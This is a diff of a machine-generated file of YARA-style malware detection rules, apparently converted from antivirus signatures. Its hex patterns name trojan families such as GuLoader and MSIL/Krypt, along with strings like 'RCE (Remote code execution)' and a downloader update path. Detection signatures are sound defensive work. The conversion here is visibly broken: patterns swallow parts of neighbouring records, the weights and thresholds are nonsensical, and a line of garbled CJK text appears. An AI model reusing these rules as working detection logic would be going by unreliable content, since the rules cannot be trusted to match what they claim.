04 33 c0 90 00 03 00 1b 03 8b 5f 3c 03 d8 81 3b 50 45 00 00 90 01 02 68 c1 00 00 00 e8 90 01 04 33 c0 90 00 03 00 16 03 66 81 7b 04 4c 01 90 01 02 68 c1 00 00 00 e8 90 01 04 33 c0 90 00 03 00 17 03 8b 00 8b 40 28 85 c0 90 01 } //105 + $a_64_2 = {64 66 66 64 73 68 64 6a 66 66 66 67 6a 68 6b 64 6b 73 67 63 61 66 70 01 00 10 81 01 67 64 66 66 6b 68 6a 73 64 66 64 66 66 68 64 66 01 00 0a 81 01 61 66 66 73 64 68 68 66 68 68 00 00 78 1e 01 00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 2e 50 53 53 21 4d } //29441 + $a_11_4 = {6f c0 00 } //17152 + $a_11_5 = {28 90 01 03 0a 2d 10 08 11 11 28 90 01 03 0a 16 13 1e dd } //2560 + $a_00_6 = {11 0a 2c } //400 + $a_7b_7 = {01 03 04 1f 09 8d 90 01 03 01 13 23 11 23 16 72 c0 03 00 70 a2 11 23 17 } //4468 + $a_00_8 = {76 01 } //144 Ŷ condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25888+(#a_64_2 & 1)*29441+(#a_43_4 & 1)*9216+(#a_00_6 & 1)*67+(#a_00_8 & 1)*105) >=9 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25888+(#a_64_2 & 1)*29441+(#a_11_4 & 1)*17152+(#a_11_5 & 1)*2560+(#a_00_6 & 1)*400+(#a_7b_7 & 1)*4468+(#a_00_8 & 1)*144) >=9 } -rule _InfrastructureShared_17041{ +rule _InfrastructureShared_18162{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 2e 50 53 53 21 4d 54 42 00 07 00 43 03 11 10 6f c0 00 00 0a 13 11 08 28 90 01 03 0a 2d 10 08 11 11 28 90 01 03 0a 16 13 1e dd 90 01 03 00 11 0a 2c 74 11 18 } //21539 + $a_03_1 = {04 } //-28549 + $a_90_2 = {03 01 13 23 11 23 16 72 c0 03 00 70 a2 11 23 17 90 00 02 00 76 01 44 6f 6e 27 74 20 6c 6f 6f 6b 20 61 74 20 74 68 69 73 2e 2e 2e 0d 0a 24 49 6d 61 67 65 20 3d 20 22 41 41 41 42 41 41 45 41 67 49 41 41 41 41 45 41 49 41 41 6f 43 41 45 41 46 67 41 41 41 43 67 41 41 41 43 41 41 41 41 41 41 41 45 41 41 41 45 41 49 41 41 41 41 41 41 41 41 41 41 42 41 49 63 64 41 41 43 48 48 51 41 41 41 41 41 41 41 41 41 41 41 41 44 2f 2f 01 } //2335 + condition: + ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*-28549+(#a_90_2 & 1)*2335) >=10 + +} +rule _InfrastructureShared_18163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -202305,25 +215867,42 @@ rule _InfrastructureShared_17041{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*95+(#a_3b_2 & 1)*-10237+(#a_73_3 & 1)*16997+(#a_6d_5 & 1)*20993) >=10 } -rule _InfrastructureShared_17042{ +rule _InfrastructureShared_18164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 53 42 21 4d 54 42 00 01 00 11 81 01 4f 70 65 6e 52 65 6d 6f 74 65 42 61 73 65 4b 65 79 01 00 13 81 01 4c 6f 67 6f 6e 55 73 65 72 41 28 29 20 45 72 72 6f 72 3a 01 00 19 81 01 } //16675 $a_65_1 = {73 6f 6e 61 74 65 4c 6f 67 67 65 64 4f 6e 55 73 65 72 28 29 01 00 0e 81 01 52 65 76 65 72 74 54 6f 53 65 6c 66 28 29 01 00 11 81 01 73 68 61 72 65 5c 64 6c 6c 6e 61 6d 65 2e 64 6c 6c 01 00 16 81 01 52 65 6d 6f 74 65 20 75 73 69 6e 67 20 4c 6f 67 6f 6e 55 73 65 72 01 00 0d 81 01 75 73 65 72 20 70 61 73 73 77 6f 72 64 01 00 15 81 01 52 } //27977 - $a_74_2 = {20 61 73 20 64 6f 6d 61 69 6e 20 75 73 65 72 01 00 16 81 01 44 6f 6d 61 69 6e 2e 53 75 62 64 6f 6d 61 69 6e 2e 6c 6f 63 61 6c 01 00 1b 81 01 52 43 45 20 28 52 65 6d 6f 74 65 20 63 6f 64 65 20 65 78 65 63 75 74 69 6f 6e 29 00 00 78 1e 01 00 0b 00 0b 00 04 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 57 69 6e 75 } //28005 - $a_75_3 = {05 00 3b 03 4b 00 6f 00 6d 00 6d 00 75 00 6e 00 90 01 02 4c 00 69 00 62 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 90 00 05 00 12 01 64 6f 77 6e 6c 6f 61 64 55 72 6c 53 65 63 75 72 65 00 01 00 55 03 2e 00 63 00 6f 00 6d 00 2f 00 } //25939 - $a_00_4 = {4a 00 73 00 2f 00 90 01 02 77 00 65 00 62 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 2f 00 42 00 6f 00 69 00 74 00 65 00 2f 00 67 00 65 00 74 00 42 00 6f 00 69 00 74 00 65 00 2e 00 70 00 68 00 70 00 90 00 01 00 46 01 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 4a 00 73 00 2f 00 77 00 65 00 62 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73 } //97 - $a_00_6 = {75 00 2f 00 55 00 70 00 64 00 61 00 74 00 65 00 72 00 2f 00 00 00 78 1e 01 00 0c 00 0c 00 0c 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 4b 41 46 31 34 32 21 4d 54 42 00 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 06 81 01 52 61 6e 64 6f 6d 01 00 17 81 01 48 69 64 65 4d 6f 64 75 6c 65 4e 61 6d } //105 - $a_74_7 = {69 62 75 74 65 01 00 1a 81 01 50 6f 6b 65 72 31 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 19 81 01 54 61 72 67 65 74 49 6e 76 6f 63 61 74 69 6f 6e 45 78 63 65 70 74 69 6f 6e 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 11 81 01 47 65 74 52 65 73 6f 75 72 63 65 53 74 72 69 6e 67 01 00 07 81 01 47 65 74 54 } //16741 - $a_01_8 = {00 06 81 01 54 6f 42 79 74 65 01 00 25 81 01 24 63 35 30 38 63 33 30 31 2d 32 32 39 65 2d 34 61 65 30 2d 39 38 37 65 2d 35 37 64 65 33 32 36 63 34 32 36 33 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 07 81 01 54 6f 41 72 72 61 79 00 00 78 1e 01 00 0d 00 0d 00 0d 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a } //28793 - $a_4c_9 = {41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 48 46 21 4d 54 42 00 01 00 13 80 01 67 65 74 5f 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 11 80 01 67 65 74 5f 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 0f 80 01 4f 66 } //21325 + $a_74_2 = {20 61 73 20 64 6f 6d 61 69 6e 20 75 73 65 72 01 00 16 81 01 44 6f 6d 61 69 6e 2e 53 75 62 64 6f 6d 61 69 6e 2e 6c 6f 63 61 6c 01 00 1b 81 01 52 43 45 20 28 52 65 6d 6f 74 65 20 63 6f 64 65 20 65 78 65 63 75 74 69 6f 6e 29 00 00 78 1e 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 } //28005 + $a_2e_3 = {53 42 21 4d 54 42 00 01 00 0c 81 01 5c 44 65 70 75 74 71 71 72 31 37 33 01 00 1d 81 01 5c 49 72 72 65 67 75 6c 61 72 69 74 79 5c 50 72 6f 73 75 66 66 72 61 67 65 2e 75 6e 6f 01 00 11 81 01 5c 69 72 69 64 6f 6d 61 6c 61 63 69 61 2e 62 61 6d 01 00 15 81 01 56 67 74 61 66 67 69 66 74 65 72 6e 65 73 31 37 30 2e 6a 70 67 01 00 0d 81 01 63 6f 72 } //25956 + $a_61_4 = {74 2e 74 78 74 01 00 11 81 01 66 6f 64 62 6f 6c 64 72 65 67 6c 65 72 2e 69 6e 69 01 00 17 81 01 6d 69 63 72 6f 70 61 6c 65 6f 6e 74 6f 6c 6f 67 69 73 74 2e 65 6e 64 01 00 0c 81 01 72 76 65 72 69 73 6b 65 2e 75 6e 64 01 00 0d 81 01 75 6d 61 61 64 65 6c 69 67 2e 74 78 74 01 00 22 81 01 5c 64 65 6c 73 74 65 6e 73 73 61 6d 6c 69 6e 67 65 72 5c } //28534 + $a_69_5 = {72 6f 70 68 6f 62 69 61 31 34 00 00 78 1e 01 00 0b 00 0b 00 04 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 57 69 6e 75 53 65 63 75 00 05 00 3b 03 4b 00 6f 00 6d 00 6d 00 75 00 6e 00 90 01 02 4c 00 69 00 62 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e } //28500 + $a_01_7 = {64 6f 77 6e 6c 6f 61 64 55 72 6c 53 65 63 75 72 65 00 } //5 潤湷潬摡牕卬捥牵e + $a_03_8 = {2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 4a 00 73 00 2f 00 ?? ?? 77 00 65 00 62 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 2f 00 42 00 6f 00 69 00 74 00 65 00 2f 00 67 00 65 00 74 00 42 00 6f 00 69 00 74 00 65 00 2e 00 70 00 68 00 70 00 } //1 + $a_01_9 = {2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 4a 00 73 00 2f 00 77 00 65 00 62 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 2f 00 57 00 69 00 6e 00 75 00 2f 00 55 00 70 00 64 00 61 00 74 00 65 00 72 00 2f 00 } //1 .com/atJs/webservices/Winu/Updater/ condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*27977+(#a_74_2 & 1)*28005+(#a_75_3 & 1)*25939+(#a_00_4 & 1)*97+(#a_00_6 & 1)*105+(#a_74_7 & 1)*16741+(#a_01_8 & 1)*28793+(#a_4c_9 & 1)*21325) >=10 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*27977+(#a_74_2 & 1)*28005+(#a_2e_3 & 1)*25956+(#a_61_4 & 1)*28534+(#a_69_5 & 1)*28500+(#a_01_7 & 1)*5+(#a_03_8 & 1)*1+(#a_01_9 & 1)*1) >=10 } -rule _InfrastructureShared_17043{ +rule _InfrastructureShared_18165{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 42 21 4d 54 42 00 01 00 0c 81 01 5c 44 65 70 75 74 71 71 72 31 37 33 01 00 1d 81 01 5c 49 72 72 65 67 75 6c 61 72 69 74 79 5c 50 72 6f 73 75 66 66 72 61 67 65 2e 75 6e 6f 01 } //18467 + $a_01_1 = {5c 69 72 69 64 6f 6d 61 6c 61 63 69 61 2e 62 61 6d 01 00 15 81 01 56 67 74 61 66 67 69 66 74 65 72 6e 65 73 31 37 30 2e 6a 70 67 01 00 0d 81 01 63 6f 72 76 6f 72 61 6e 74 2e 74 78 74 01 00 11 81 01 66 6f 64 62 6f 6c 64 72 65 67 6c 65 72 2e 69 6e 69 01 00 17 81 01 6d 69 63 72 6f 70 61 6c 65 6f 6e 74 6f 6c 6f 67 69 73 74 2e 65 6e 64 01 00 0c 81 01 72 76 65 72 69 73 6b 65 2e 75 6e 64 01 } //4352 + $a_01_2 = {75 6d 61 61 64 65 6c 69 67 2e 74 78 74 01 00 22 81 01 5c 64 65 6c 73 74 65 6e 73 73 61 6d 6c 69 6e 67 65 72 5c 54 6f 6e 69 74 72 6f 70 68 6f 62 69 61 31 34 00 00 78 1e 01 00 0b 00 0b 00 04 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 57 69 6e 75 53 65 63 75 00 05 00 3b 03 4b 00 6f 00 6d 00 6d 00 75 00 6e 00 90 01 02 4c 00 69 00 62 00 44 00 6f 00 77 00 6e 00 6c 00 } //3328 + $a_00_3 = {64 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 90 00 05 00 12 01 64 6f 77 6e 6c 6f 61 64 55 72 6c 53 65 63 75 72 65 00 01 00 55 03 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 4a 00 73 00 2f 00 90 01 02 77 00 65 00 62 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 2f 00 } //111 + $a_00_4 = {69 00 74 00 65 00 2f 00 67 00 65 00 74 00 42 00 6f 00 69 00 74 00 65 00 2e 00 70 00 68 00 70 00 90 00 01 00 46 01 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 4a 00 73 00 2f 00 77 00 65 00 62 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 2f 00 57 00 69 00 6e 00 75 00 2f 00 55 00 70 00 64 00 61 00 74 00 65 00 72 00 2f 00 00 00 78 } //66 + $a_41_7 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 4b 41 46 31 34 32 21 4d 54 42 00 01 00 08 } //8448 + $a_6f_8 = {74 72 69 6e 67 01 00 06 81 01 52 61 6e 64 6f 6d 01 00 17 81 01 48 69 64 65 4d 6f 64 75 6c 65 4e 61 6d 65 41 74 74 72 69 62 75 74 65 01 00 1a 81 01 50 6f 6b 65 72 31 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 19 81 01 54 61 72 67 } //385 + $a_6e_9 = {6f 63 61 74 69 6f 6e 45 78 63 65 70 74 69 6f 6e 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 11 81 01 47 65 74 52 65 73 6f 75 72 63 65 53 74 72 69 6e 67 01 00 07 81 01 47 65 74 54 79 70 65 01 00 06 81 } //29797 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4352+(#a_01_2 & 1)*3328+(#a_00_3 & 1)*111+(#a_00_4 & 1)*66+(#a_41_7 & 1)*8448+(#a_6f_8 & 1)*385+(#a_6e_9 & 1)*29797) >=10 + +} +rule _InfrastructureShared_18166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -202335,7 +215914,7 @@ rule _InfrastructureShared_17043{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116+(#a_00_3 & 1)*105) >=11 } -rule _InfrastructureShared_17044{ +rule _InfrastructureShared_18167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -202355,7 +215934,7 @@ rule _InfrastructureShared_17044{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*26994+(#a_6e_2 & 1)*29300+(#a_72_3 & 1)*14930+(#a_61_4 & 1)*29797+(#a_74_5 & 1)*25970+(#a_1e_6 & 1)*0+(#a_28_7 & 1)*16368+(#a_01_8 & 1)*29817+(#a_7b_10 & 1)*9728+(#a_37_11 & 1)*16948) >=12 } -rule _InfrastructureShared_17045{ +rule _InfrastructureShared_18168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -202375,7 +215954,7 @@ rule _InfrastructureShared_17045{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*20225+(#a_73_2 & 1)*24946+(#a_54_3 & 1)*28261+(#a_72_4 & 1)*384+(#a_6c_5 & 1)*21249+(#a_34_6 & 1)*12354+(#a_68_7 & 1)*29281+(#a_6d_8 & 1)*3584+(#a_74_9 & 1)*28233+(#a_73_12 & 1)*8276) >=13 } -rule _InfrastructureShared_17046{ +rule _InfrastructureShared_18169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0a 00 21 " @@ -202393,7 +215972,7 @@ rule _InfrastructureShared_17046{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400+(#a_00_2 & 1)*27658+(#a_69_3 & 1)*1803+(#a_00_4 & 1)*7800+(#a_41_6 & 1)*8448+(#a_30_7 & 1)*13106+(#a_64_8 & 1)*12090+(#a_63_9 & 1)*29477) >=14 } -rule _InfrastructureShared_17047{ +rule _InfrastructureShared_18170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 0d 00 08 00 21 " @@ -202409,7 +215988,7 @@ rule _InfrastructureShared_17047{ ((#a_77_0 & 1)*16675+(#a_70_1 & 1)*29800+(#a_69_2 & 1)*26926+(#a_75_4 & 1)*30554+(#a_65_5 & 1)*8308+(#a_05_6 & 1)*-28635+(#a_69_7 & 1)*25888) >=13 } -rule _InfrastructureShared_17048{ +rule _InfrastructureShared_18171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 09 00 21 " @@ -202425,7 +216004,7 @@ rule _InfrastructureShared_17048{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*13620+(#a_6f_2 & 1)*8292+(#a_00_3 & 1)*28532+(#a_00_5 & 1)*50+(#a_00_6 & 1)*105+(#a_48_7 & 1)*8448) >=22 } -rule _InfrastructureShared_17049{ +rule _InfrastructureShared_18172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -202437,7 +216016,7 @@ rule _InfrastructureShared_17049{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*281+(#a_19_2 & 1)*1) >=1 } -rule _InfrastructureShared_17050{ +rule _InfrastructureShared_18173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -202448,7 +216027,7 @@ rule _InfrastructureShared_17050{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*9348) >=2 } -rule _InfrastructureShared_17051{ +rule _InfrastructureShared_18174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0b 00 21 " @@ -202467,7 +216046,7 @@ rule _InfrastructureShared_17051{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*21852+(#a_61_2 & 1)*257+(#a_01_3 & 1)*2816+(#a_01_4 & 1)*-31349+(#a_73_5 & 1)*21620+(#a_95_6 & 1)*4356+(#a_00_8 & 1)*24320+(#a_53_9 & 1)*8993+(#a_6f_10 & 1)*2570) >=3 } -rule _InfrastructureShared_17052{ +rule _InfrastructureShared_18175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 03 00 03 00 21 " @@ -202479,7 +216058,7 @@ rule _InfrastructureShared_17052{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*656+(#a_0c_2 & 1)*1025) >=3 } -rule _InfrastructureShared_17053{ +rule _InfrastructureShared_18176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -202490,7 +216069,7 @@ rule _InfrastructureShared_17053{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*1553) >=4 } -rule _InfrastructureShared_17054{ +rule _InfrastructureShared_18177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -202502,7 +216081,7 @@ rule _InfrastructureShared_17054{ ((#a_54_0 & 1)*18467+(#a_13_2 & 1)*2817+(#a_28_3 & 1)*7941) >=4 } -rule _InfrastructureShared_17055{ +rule _InfrastructureShared_18178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -202513,7 +216092,7 @@ rule _InfrastructureShared_17055{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*400) >=4 } -rule _InfrastructureShared_17056{ +rule _InfrastructureShared_18179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -202526,7 +216105,7 @@ rule _InfrastructureShared_17056{ ((#a_54_0 & 1)*18467+(#a_17_1 & 1)*1041+(#a_0b_2 & 1)*400+(#a_fe_3 & 1)*2060) >=4 } -rule _InfrastructureShared_17057{ +rule _InfrastructureShared_18180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -202537,7 +216116,7 @@ rule _InfrastructureShared_17057{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*12032) >=5 } -rule _InfrastructureShared_17058{ +rule _InfrastructureShared_18181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -202549,7 +216128,7 @@ rule _InfrastructureShared_17058{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2048+(#a_01_2 & 1)*0) >=5 } -rule _InfrastructureShared_17059{ +rule _InfrastructureShared_18182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -202565,7 +216144,7 @@ rule _InfrastructureShared_17059{ ((#a_41_0 & 1)*20515+(#a_72_1 & 1)*12132+(#a_00_2 & 1)*112+(#a_6e_3 & 1)*26433+(#a_00_4 & 1)*31073+(#a_67_5 & 1)*385+(#a_36_6 & 1)*25909) >=5 } -rule _InfrastructureShared_17060{ +rule _InfrastructureShared_18183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -202579,7 +216158,7 @@ rule _InfrastructureShared_17060{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114+(#a_6b_3 & 1)*19557+(#a_65_4 & 1)*26479+(#a_01_5 & 1)*28524) >=6 } -rule _InfrastructureShared_17061{ +rule _InfrastructureShared_18184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -202595,7 +216174,7 @@ rule _InfrastructureShared_17061{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*7936+(#a_67_2 & 1)*29264+(#a_6f_3 & 1)*30511+(#a_3d_4 & 1)*25454+(#a_72_5 & 1)*27756+(#a_48_6 & 1)*14387) >=6 } -rule _InfrastructureShared_17062{ +rule _InfrastructureShared_18185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -202613,7 +216192,7 @@ rule _InfrastructureShared_17062{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28974+(#a_72_2 & 1)*25972+(#a_2e_3 & 1)*24948+(#a_43_4 & 1)*6144+(#a_32_5 & 1)*17718+(#a_34_6 & 1)*16690+(#a_39_7 & 1)*14389+(#a_2f_8 & 1)*18771) >=6 } -rule _InfrastructureShared_17063{ +rule _InfrastructureShared_18186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -202629,7 +216208,7 @@ rule _InfrastructureShared_17063{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*13381+(#a_44_2 & 1)*16697+(#a_44_4 & 1)*16953+(#a_01_5 & 1)*30720+(#a_6c_6 & 1)*25940+(#a_00_8 & 1)*46) >=6 } -rule _InfrastructureShared_17064{ +rule _InfrastructureShared_18187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -202643,7 +216222,7 @@ rule _InfrastructureShared_17064{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*105+(#a_00_2 & 1)*47+(#a_00_4 & 1)*105+(#a_61_5 & 1)*29541) >=7 } -rule _InfrastructureShared_17065{ +rule _InfrastructureShared_18188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -202658,7 +216237,7 @@ rule _InfrastructureShared_17065{ ((#a_46_0 & 1)*16675+(#a_ed_1 & 1)*6255+(#a_94_2 & 1)*-28691+(#a_00_4 & 1)*1+(#a_74_5 & 1)*25970+(#a_00_6 & 1)*115) >=7 } -rule _InfrastructureShared_17066{ +rule _InfrastructureShared_18189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -202672,7 +216251,7 @@ rule _InfrastructureShared_17066{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*16972+(#a_00_3 & 1)*103+(#a_56_4 & 1)*5632+(#a_00_6 & 1)*115) >=7 } -rule _InfrastructureShared_17067{ +rule _InfrastructureShared_18190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -202689,7 +216268,7 @@ rule _InfrastructureShared_17067{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26990+(#a_72_2 & 1)*26222+(#a_42_3 & 1)*19777+(#a_65_4 & 1)*28525+(#a_77_5 & 1)*17451+(#a_01_6 & 1)*4608+(#a_65_7 & 1)*26214) >=8 } -rule _InfrastructureShared_17068{ +rule _InfrastructureShared_18191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -202705,7 +216284,7 @@ rule _InfrastructureShared_17068{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*30034+(#a_65_2 & 1)*26478+(#a_64_3 & 1)*28524+(#a_6c_4 & 1)*28257+(#a_75_5 & 1)*24918+(#a_52_8 & 1)*21320) >=9 } -rule _InfrastructureShared_17069{ +rule _InfrastructureShared_18192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -202724,7 +216303,7 @@ rule _InfrastructureShared_17069{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25445+(#a_63_2 & 1)*27234+(#a_61_3 & 1)*29541+(#a_77_4 & 1)*27756+(#a_72_5 & 1)*25710+(#a_e8_6 & 1)*1280+(#a_00_7 & 1)*0+(#a_00_8 & 1)*-6143+(#a_e8_10 & 1)*1280) >=11 } -rule _InfrastructureShared_17070{ +rule _InfrastructureShared_18193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -202743,7 +216322,7 @@ rule _InfrastructureShared_17070{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28005+(#a_34_2 & 1)*25971+(#a_69_3 & 1)*384+(#a_00_4 & 1)*48+(#a_00_5 & 1)*-6143+(#a_e8_6 & 1)*1280+(#a_00_7 & 1)*0+(#a_00_8 & 1)*-6143+(#a_01_10 & 1)*1) >=11 } -rule _InfrastructureShared_17071{ +rule _InfrastructureShared_18194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 1b 00 21 " @@ -202773,7 +216352,7 @@ rule _InfrastructureShared_17071{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*-6143+(#a_00_3 & 1)*0+(#a_00_4 & 1)*-6143+(#a_23_5 & 1)*261+(#a_00_7 & 1)*108+(#a_00_9 & 1)*84+(#a_31_10 & 1)*16969+(#a_45_11 & 1)*257+(#a_35_12 & 1)*400+(#a_8b_13 & 1)*-2300+(#a_00_14 & 1)*0+(#a_77_15 & 1)*400+(#a_90_16 & 1)*-14592+(#a_46_17 & 1)*29285+(#a_00_19 & 1)*110+(#a_01_20 & 1)*-28638+(#a_00_21 & 1)*14637+(#a_00_23 & 1)*118+(#a_6f_24 & 1)*25445+(#a_90_25 & 1)*2560) >=25 } -rule _InfrastructureShared_17072{ +rule _InfrastructureShared_18195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff96 00 ffffff96 00 03 00 21 " @@ -202784,7 +216363,7 @@ rule _InfrastructureShared_17072{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*108) >=150 } -rule _InfrastructureShared_17073{ +rule _InfrastructureShared_18196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -202794,7 +216373,7 @@ rule _InfrastructureShared_17073{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_17074{ +rule _InfrastructureShared_18197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -202806,7 +216385,7 @@ rule _InfrastructureShared_17074{ ((#a_46_0 & 1)*16675+(#a_90_1 & 